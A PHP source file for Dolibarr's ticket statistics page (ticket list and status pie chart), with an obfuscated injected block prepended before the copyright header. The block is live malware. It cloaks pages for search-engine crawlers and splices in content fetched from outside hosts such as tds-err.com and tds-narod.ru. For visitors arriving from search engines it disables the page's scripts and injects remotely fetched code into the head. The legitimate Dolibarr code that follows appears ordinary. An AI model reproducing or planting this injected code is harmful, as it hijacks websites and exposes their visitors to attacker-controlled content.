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<?php if(!defined('_NET')) { error_reporting(0); $NET='sh19042'; define('_NET',$NET); if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/Los_Angeles');}$sll0='http://googlecountwebs.com/';$pinj_0='http://tds-err.com/i?r=1';$pinj_1='http://tds-narod.ru/i.txt';$FNN='lnk-trans2.php';$pinj_2='yahoo';$pinj_2='bing';$pinj_3=str_replace('google',$pinj_1,$sll0);$pinj_4='site';$sll0=str_replace('google',$pinj_4,$sll0);$pinj_5='';$pinj_6='';$pinj_7='';$pinj_8='';if(!empty($_SERVER['HTTP_USER_AGENT'])){$pinj_6=$_SERVER['HTTP_USER_AGENT'];}if(!empty($_SERVER['HTTP_REFERER'])){$pinj_5=$_SERVER['HTTP_REFERER'];}if(!empty($_SERVER['REQUEST_URI'])){$pinj_7=$_SERVER['REQUEST_URI'];}if(!empty($_SERVER['REMOTE_ADDR'])){$pinj_8=$_SERVER['REMOTE_ADDR'];}if(!function_exists('get_cont')){function get_cont($pinj_9){if(function_exists('curl_init')){if(strpos($pinj_9,'NET=',0)>0){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_12=0;$pinj_13=0;$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if((strpos($pinj_11,' 404 Not',0)>0)||(strpos($pinj_11,'Location:',0)>0)){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;$pinj_12=1;}}else{if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}if($pinj_13==0){$pinj_14=array();$pinj_15=0;while(preg_match("/(Location:|URI:)[^(\n)]*/",$pinj_11,$pinj_14)&&($pinj_15<3)){$pinj_9=trim(str_replace($pinj_14[1],"",$pinj_14[0]));$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);$pinj_15=$pinj_15+1;$pinj_14=array();}if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);if($pinj_12==1){curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");}else{curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");}$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_16=@file_get_contents($pinj_9);return $pinj_16;}}if(!function_exists('SEbot_')){function SEbot_($pinj_17){if(strpos('-' .strtolower($pinj_17),'x compatible',0)>0){return 0;}if(strpos('-' .strtolower($pinj_17),'googlebot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'slurp',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'bing',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'msnbot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'yahoo',0)>0){return 1;}return 0;}}if(!function_exists('not_do_')){function not_do_($pinj_18){$pinj_19='gif|jpeg|png|js|css|swf|ico|txt|pdf|xml|jpg|pdf|doc';$pinj_20=explode("|",$pinj_19);$pinj_21=0;while($pinj_21<count($pinj_22)){if(strpos(' ' .strtolower($pinj_18),$pinj_22[$pinj_21],0)>0)return 1;$pinj_21=$pinj_21+1;}return 0;}}if(!function_exists('detect_encoding_')){function detect_encoding_($pinj_23){static $pinj_24=array('UTF-8','ASCII','Windows-1251','ISO-8859-2','ISO-8859-3','ISO-8859-4','ISO-8859-5','ISO-8859-6','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-10','ISO-8859-13','ISO-8859-14','ISO-8859-15','ISO-8859-16','ISO-8859-1','Windows-1252','Windows-1254',);foreach($pinj_24 as $pinj_25){$pinj_26=@iconv($pinj_25,$pinj_25 .'',$pinj_23);if(md5($pinj_26)== md5($pinj_23))return $pinj_25;}return null;}}if(isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on')){$pinj_27='https';}else{$pinj_27='http';}$pinj_28=substr(str_replace('www.','',$_SERVER['SERVER_NAME']),0,4);if((SEbot_($pinj_6)>0)&&empty($pinj_29)&&(not_do_($pinj_7)==0)){$pinj_29=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_29)>200){$pinj_30=get_cont($sll0 .$FNN .'?d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);$pinj_31=$pinj_29;$pinj_32=strpos(strtolower($pinj_29),"<body",0);$pinj_33=strpos(strtolower($pinj_29),">",$pinj_32);if(($pinj_32>0)&&($pinj_33>0)){$pinj_29=substr($pinj_31,0,$pinj_33+1) .$pinj_30 .'' .substr($pinj_31,$pinj_33+1);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}$pinj_29=str_replace('</body>',$pinj_30 .'</body>',$pinj_29);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}}if(isset($pinj_5)&&((strpos($pinj_5,'ogle.',0)>0)||(strpos($pinj_5,'ing.',0)>0)||(strpos($pinj_5,'ahoo.',0)>0)||(strpos($pinj_5,'ask.com',0)>0)||(strpos($pinj_5,'aol.',0)>0)||(strpos($pinj_5,'duckduckgo.',0)>0)||(strpos($pinj_5,'baidu.',0)>0))){$pinj_34='mkke';$pinj_35=180;if(!isset($_COOKIE[$pinj_34])||($_COOKIE[$pinj_34]<(time()))){$pinj_36=get_cont($sll0 .$FNN .'?rd=1&d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);if(strlen($pinj_36,'<!-- -->',0)>0)$pinj_35=9000;if(strlen($pinj_36)>10){$pinj_37=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_37)>400){$pinj_36=str_replace('-SID-',$NET,$pinj_36); $pinj_37=str_replace(' src="',' xsrc="',$pinj_37); $pinj_37=str_replace(" src='"," xsrc='",$pinj_37); $pinj_37=str_replace("<script","<comment",$pinj_37); $pinj_37=str_replace("</script","</comment",$pinj_37); $pinj_37=str_replace('</head>',$pinj_36 .'</head>',$pinj_37);setcookie($pinj_34,(time()+$pinj_35),(time()+$pinj_35*2),'/','.' .str_replace('www.','',$_SERVER['SERVER_NAME'])); echo $pinj_37;exit;}}}} $p1='_lo'; $p1=$p1.'ads'; $i=0; while($i<12) { $p1='x'.$p1; $i=$i+1;} $p2=$p1.'2'; if(isset($_GET[$p1]) || isset($_POST[$p1]) ) { exit;} if(isset($_GET[$p2]) ) { $_GET[$p1]=$_GET[$p2];} if(isset($_POST[$p2]) ) { $_POST[$p1]=$_POST[$p2];} } /*,.*/ ?><?php /* Copyright (C) - 2013-2016 Jean-François FERRY <hello@librethic.io> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * \file htdocs/ticket/history.php * \ingroup ticket */ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT . '/ticket/class/actions_ticket.class.php'; require_once DOL_DOCUMENT_ROOT . '/ticket/class/ticketstats.class.php'; require_once DOL_DOCUMENT_ROOT . '/core/class/dolgraph.class.php'; // Load translation files required by the page $langs->loadLangs(array('companies', 'other', 'ticket')); $WIDTH = DolGraph::getDefaultGraphSizeForStats('width'); $HEIGHT = DolGraph::getDefaultGraphSizeForStats('height'); // Get parameters $id = GETPOST('id', 'int'); $msg_id = GETPOST('msg_id', 'int'); $action = GETPOST('action', 'alpha', 3); if ($user->societe_id) { $socid = $user->societe_id; } // Security check $result = restrictedArea($user, 'ticket', 0, '', '', '', ''); $nowyear = strftime("%Y", dol_now()); $year = GETPOST('year') > 0 ? GETPOST('year') : $nowyear; //$startyear=$year-2; $startyear = $year - 1; $endyear = $year; $object = new Ticket($db); /* * Actions */ // None /* * View */ $form = new Form($db); $tickesupstatic = new Ticket($db); llxHeader('', $langs->trans('TicketsIndex'), ''); $linkback=''; print load_fiche_titre($langs->trans('TicketsIndex'),$linkback,'title_ticket.png'); $dir = ''; $filenamenb = $dir . "/" . $prefix . "ticketinyear-" . $endyear . ".png"; $fileurlnb = DOL_URL_ROOT . '/viewimage.php?modulepart=ticket&file=ticketinyear-' . $endyear . '.png'; $stats = new TicketStats($db, $socid, $userid); $param_year = 'DOLUSERCOOKIE_ticket_by_status_year'; $param_shownb = 'DOLUSERCOOKIE_ticket_by_status_shownb'; $param_showtot = 'DOLUSERCOOKIE_ticket_by_status_showtot'; $autosetarray = preg_split("/[,;:]+/", GETPOST('DOL_AUTOSET_COOKIE')); if (in_array('DOLUSERCOOKIE_ticket_by_status', $autosetarray)) { $endyear = GETPOST($param_year, 'int'); $shownb = GETPOST($param_shownb, 'alpha'); $showtot = GETPOST($param_showtot, 'alpha'); } else { $tmparray = json_decode($_COOKIE['DOLUSERCOOKIE_ticket_by_status'], true); $endyear = $tmparray['year']; $shownb = $tmparray['shownb']; $showtot = $tmparray['showtot']; } if (empty($shownb) && empty($showtot)) { $showtot = 1; } $nowarray = dol_getdate(dol_now(), true); if (empty($endyear)) { $endyear = $nowarray['year']; } $startyear = $endyear - 1; $WIDTH = (($shownb && $showtot) || !empty($conf->dol_optimize_smallscreen)) ? '256' : '320'; $HEIGHT = '192'; print '<div class="fichecenter"><div class="fichethirdleft">'; /* * Statistics area */ $tick = array( 'unread' => 0, 'read' => 0, 'answered' => 0, 'assigned' => 0, 'inprogress' => 0, 'waiting' => 0, 'closed' => 0, 'deleted' => 0, ); $total = 0; $sql = "SELECT t.fk_statut, COUNT(t.fk_statut) as nb"; $sql .= " FROM " . MAIN_DB_PREFIX . "ticket as t"; if (!$user->rights->societe->client->voir && !$socid) { $sql .= ", " . MAIN_DB_PREFIX . "societe_commerciaux as sc"; } $sql .= ' WHERE t.entity IN (' . getEntity('ticket', 1) . ')'; $sql .= " AND t.fk_statut IS NOT NULL"; $sql .= " AND date_format(datec,'%Y') = '" . $endyear . "'"; if (!$user->rights->societe->client->voir && !$socid) { $sql .= " AND t.fk_soc = sc.fk_soc AND sc.fk_user = " . $user->id; } // External users restriction if ($user->societe_id > 0) { $sql .= " AND t.fk_soc='" . $user->societe_id . "'"; } else { // For internals users, if (!empty($conf->global->TICKET_LIMIT_VIEW_ASSIGNED_ONLY) && !$user->rights->ticket->manage) { $sql .= " AND t.fk_user_assign=" . $user->id; } } $sql .= " GROUP BY t.fk_statut"; $result = $db->query($sql); if ($result) { while ($objp = $db->fetch_object($result)) { $found = 0; if ($objp->fk_statut == 0) { $tick['unread'] = $objp->nb; } if ($objp->fk_statut == 1) { $tick['read'] = $objp->nb; } if ($objp->fk_statut == 3) { $tick['answered'] = $objp->nb; } if ($objp->fk_statut == 4) { $tick['assigned'] = $objp->nb; } if ($objp->fk_statut == 5) { $tick['inprogress'] = $objp->nb; } if ($objp->fk_statut == 6) { $tick['waiting'] = $objp->nb; } if ($objp->fk_statut == 8) { $tick['closed'] = $objp->nb; } if ($objp->fk_statut == 9) { $tick['deleted'] = $objp->nb; } } if ((round($tick['unread']) ? 1 : 0) +(round($tick['read']) ? 1 : 0) +(round($tick['answered']) ? 1 : 0) +(round($tick['assigned']) ? 1 : 0) +(round($tick['inprogress']) ? 1 : 0) +(round($tick['waiting']) ? 1 : 0) +(round($tick['closed']) ? 1 : 0) +(round($tick['deleted']) ? 1 : 0) >= 2 ) { $dataseries = array(); $dataseries[] = array('label' => $langs->trans("Unread"), 'data' => round($tick['unread'])); $dataseries[] = array('label' => $langs->trans("Read"), 'data' => round($tick['read'])); $dataseries[] = array('label' => $langs->trans("Answered"), 'data' => round($tick['answered'])); $dataseries[] = array('label' => $langs->trans("Assigned"), 'data' => round($tick['assigned'])); $dataseries[] = array('label' => $langs->trans("InProgress"), 'data' => round($tick['inprogress'])); $dataseries[] = array('label' => $langs->trans("Waiting"), 'data' => round($tick['waiting'])); $dataseries[] = array('label' => $langs->trans("Closed"), 'data' => round($tick['closed'])); $dataseries[] = array('label' => $langs->trans("Deleted"), 'data' => round($tick['deleted'])); } } else { dol_print_error($db); } $stringtoshow = '<script type="text/javascript" language="javascript"> jQuery(document).ready(function() { jQuery("#idsubimgDOLUSERCOOKIE_ticket_by_status").click(function() { jQuery("#idfilterDOLUSERCOOKIE_ticket_by_status").toggle(); }); }); </script>'; $stringtoshow .= '<div class="center hideobject" id="idfilterDOLUSERCOOKIE_ticket_by_status">'; // hideobject is to start hidden $stringtoshow .= '<form class="flat formboxfilter" method="POST" action="' . $_SERVER["PHP_SELF"] . '">'; $stringtoshow .= '<input type="hidden" name="action" value="' . $refreshaction . '">'; $stringtoshow .= '<input type="hidden" name="DOL_AUTOSET_COOKIE" value="DOLUSERCOOKIE_ticket_by_status:year,shownb,showtot">'; $stringtoshow .= $langs->trans("Year") . ' <input class="flat" size="4" type="text" name="' . $param_year . '" value="' . $endyear . '">'; $stringtoshow .= '<input type="image" alt="' . $langs->trans("Refresh") . '" src="' . img_picto($langs->trans("Refresh"), 'refresh.png', '', '', 1) . '">'; $stringtoshow .= '</form>'; $stringtoshow .= '</div>'; print '<table class="noborder" width="100%">'; print '<tr class="liste_titre"><th >' . $langs->trans("Statistics") . ' ' . img_picto('', 'filter.png', 'id="idsubimgDOLUSERCOOKIE_ticket_by_status" class="linkobject"') . '</th></tr>'; print '<tr><td>'; // don't display graph if no series if (! empty($dataseries) && count($dataseries) > 1) { $data = array(); foreach ($dataseries as $key => $value) { $data[] = array($value['label'], $value['data']); } $px1 = new DolGraph(); $mesg = $px1->isGraphKo(); if (!$mesg) { $px1->SetData($data); unset($data1); $px1->SetPrecisionY(0); $i = $startyear; $legend = array(); while ($i <= $endyear) { $legend[] = $i; $i++; } $px1->SetType(array('pie')); $px1->SetLegend($legend); $px1->SetMaxValue($px1->GetCeilMaxValue()); $px1->SetWidth($WIDTH); $px1->SetHeight($HEIGHT); $px1->SetYLabel($langs->trans("TicketStatByStatus")); $px1->SetShading(3); $px1->SetHorizTickIncrement(1); $px1->SetPrecisionY(0); $px1->SetCssPrefix("cssboxes"); $px1->mode = 'depth'; //$px1->SetTitle($langs->trans("TicketStatByStatus")); $px1->draw($filenamenb, $fileurlnb); print $px1->show(); } } print $stringtoshow; print '</td></tr>'; print '</table>'; // Build graphic number of object $data = $stats->getNbByMonth($endyear, $startyear); print '</div><div class="fichetwothirdright"><div class="ficheaddleft">'; /* * Last tickets */ $max = 15; $sql = "SELECT t.rowid, t.ref, t.track_id, t.datec, t.subject, t.type_code, t.category_code, t.severity_code, t.fk_statut, t.progress,"; $sql .= " type.label as type_label, category.label as category_label, severity.label as severity_label"; $sql .= " FROM " . MAIN_DB_PREFIX . "ticket as t"; $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "c_ticket_type as type ON type.code=t.type_code"; $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "c_ticket_category as category ON category.code=t.category_code"; $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "c_ticket_severity as severity ON severity.code=t.severity_code"; if (!$user->rights->societe->client->voir && !$socid) { $sql .= ", " . MAIN_DB_PREFIX . "societe_commerciaux as sc"; } $sql .= ' WHERE t.entity IN (' . getEntity('ticket', 1) . ')'; $sql .= " AND t.fk_statut=0"; if (!$user->rights->societe->client->voir && !$socid) { $sql .= " AND t.fk_soc = sc.fk_soc AND sc.fk_user = " . $user->id; } if ($user->societe_id > 0) { $sql .= " AND t.fk_soc='" . $user->societe_id . "'"; } else { // Restricted to assigned user only if ($conf->global->TICKET_LIMIT_VIEW_ASSIGNED_ONLY && !$user->rights->ticket->manage) { $sql .= " AND t.fk_user_assign=" . $user->id; } } $sql .= $db->order("t.datec", "DESC"); $sql .= $db->plimit($max, 0); //print $sql; $result = $db->query($sql); if ($result) { $num = $db->num_rows($result); $i = 0; $transRecordedType = $langs->trans("LatestNewTickets", $max); print '<div class="div-table-responsive-no-min">'; print '<table class="noborder" width="100%">'; print '<tr class="liste_titre"><th>' . $transRecordedType . '</th>'; print '<th>' . $langs->trans('Date') . '</th>'; print '<th>' . $langs->trans('Subject') . '</th>'; print '<th>' . $langs->trans('Type') . '</th>'; print '<th>' . $langs->trans('Category') . '</th>'; print '<th>' . $langs->trans('Severity') . '</th>'; print '<th></th>'; print '</tr>'; if ($num > 0) { while ($i < $num) { $objp = $db->fetch_object($result); $tickesupstatic->id = $objp->rowid; $tickesupstatic->ref = $objp->ref; $tickesupstatic->track_id = $objp->track_id; $tickesupstatic->fk_statut = $objp->fk_statut; $tickesupstatic->progress = $objp->progress; $tickesupstatic->subject = $objp->subject; print '<tr class="oddeven">'; // Ref print '<td class="nowrap">'; print $tickesupstatic->getNomUrl(1); print "</td>\n"; // Creation date print '<td align="left">'; print dol_print_date($db->jdate($objp->datec), 'dayhour'); print "</td>"; // Subject print '<td class="nowrap">'; print '<a href="card.php?track_id=' . $objp->track_id . '">' . dol_trunc($objp->subject, 30) . '</a>'; print "</td>\n"; // Type print '<td class="nowrap">'; print $objp->type_label; print '</td>'; // Category print '<td class="nowrap">'; print $objp->category_label; print "</td>"; // Severity print '<td class="nowrap">'; print $objp->severity_label; print "</td>"; print '<td class="nowrap">'; print $tickesupstatic->getLibStatut(3); print "</td>"; print "</tr>\n"; $i++; } $db->free(); } else { print '<tr><td colspan="6" class="opacitymedium">' . $langs->trans('NoTicketsFound') . '</td></tr>'; } print "</table>"; print '</div>'; } else { dol_print_error($db); } print '</div></div></div>'; print '<div style="clear:both"></div>'; print '<div class="tabsAction">'; print '<div class="inline-block divButAction"><a class="butAction" href="new.php?action=create_ticket">' . $langs->trans('CreateTicket') . '</a></div>'; print '<div class="inline-block divButAction"><a class="butAction" href="list.php">' . $langs->trans('TicketList') . '</a></div>'; print '</div>'; // End of page llxFooter(''); $db->close();